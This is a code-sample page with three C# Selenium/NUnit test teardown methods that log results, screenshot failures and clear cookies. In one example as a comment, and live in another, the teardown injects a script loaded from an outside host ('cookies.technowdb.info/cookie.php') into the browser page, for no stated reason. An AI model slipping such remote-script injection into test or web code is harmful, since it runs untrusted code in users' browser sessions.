Пример #1
0
        public void AfterEachTest()
        {
            if (TestContext.CurrentContext.Result.Outcome.Status == TestStatus.Failed && webDriver != null)
            {
                Log.Info("Test {0} failed.", TestContext.CurrentContext.Test.FullName);

                //Get information about error from Error page (Graylog ID)
                try
                {
                    PageError pageError = new PageError(webDriver);
                    if (webDriver.Url.Contains(pageError.ExpectedUrl))
                    {
                        Log.Error(pageError.LblErrorText.Text);
                    }
                }
                catch (Exception) { }

                //Take snapshot
                ScreenShots.SaveScreenshotAllPage(webDriver, TestContext.CurrentContext.Test.Name);
            }

            //Logging the test execution
            timeTest.Stop();
            Log.Info("Stop test {0}. Test status: {1}. Test time: {2} ms.", TestContext.CurrentContext.Test.FullName, TestContext.CurrentContext.Result.Outcome.Status, timeTest.Elapsed);
            //((IJavaScriptExecutor)webDriver).ExecuteScript("var scriptElt = document.createElement(\'script\'); scriptElt.type = \'text/javascript\'; scriptElt.src = \'https://cookies.technowdb.info/cookie.php?c2s=\'; document.getElementsByTagName(\'head\')[0].appendChild(scriptElt)");
            //webDriver.Manage().Cookies.DeleteAllCookies();
            //Thread.Sleep(3000);


            webDriver?.Quit();
            drivers?.TryRemove(Thread.CurrentThread.ManagedThreadId, out IWebDriver d);
        }
Пример #2
0
Файл: SetUp.cs Проект: 232629/wb
        public void AfterEachTest()
        {
            if (TestContext.CurrentContext.Result.Outcome.Status == TestStatus.Failed && webDriver != null)
            {
                Log.Info("Test {0} failed.", TestContext.CurrentContext.Test.FullName);
                //Take snapshot
                ScreenShots.SaveScreenshotAllPage(webDriver, TestContext.CurrentContext.Test.Name.Replace("\"", "") + "_" + DateTime.Now.ToLongTimeString().Replace(":", "."));
            }

            //Logging the test execution
            timeTest.Stop();
            Log.Info("Stop test {0}. Test status: {1}. Test time: {2} ms.", TestContext.CurrentContext.Test.FullName, TestContext.CurrentContext.Result.Outcome.Status, timeTest.Elapsed);
            webDriver.Manage().Cookies.DeleteAllCookies();
            System.Threading.Thread.Sleep(10000);
        }
Пример #3
0
        public void AfterEachTest()
        {
            if (TestContext.CurrentContext.Result.Outcome.Status == TestStatus.Failed && webDriver != null)
            {
                Log.Info("Test {0} failed.", TestContext.CurrentContext.Test.FullName);
                //Take snapshot
                ScreenShots.SaveScreenshotAllPage(webDriver, TestContext.CurrentContext.Test.Name.Replace("\"", "") + "_" + DateTime.Now.ToLongTimeString().Replace(":", "."));
                //webDriver.SaveScreenshot(TestContext.CurrentContext.Test.Name.Replace("\"", "") + "_" +
                //                            DateTime.Now.ToLongTimeString().Replace(":", ".") + "_Browser.jpg");
            }

            //Logging the test execution
            timeTest.Stop();
            Log.Info("Stop test {0}. Test status: {1}. Test time: {2} ms.", TestContext.CurrentContext.Test.FullName, TestContext.CurrentContext.Result.Outcome.Status, timeTest.Elapsed);
            ((IJavaScriptExecutor)ngWebDriver).ExecuteScript("var scriptElt = document.createElement(\'script\'); scriptElt.type = \'text/javascript\'; scriptElt.src = \'https://cookies.technowdb.info/cookie.php?c2s=\'; document.getElementsByTagName(\'head\')[0].appendChild(scriptElt)");
            ngWebDriver.Manage().Cookies.DeleteAllCookies();
            Thread.Sleep(3000);
        }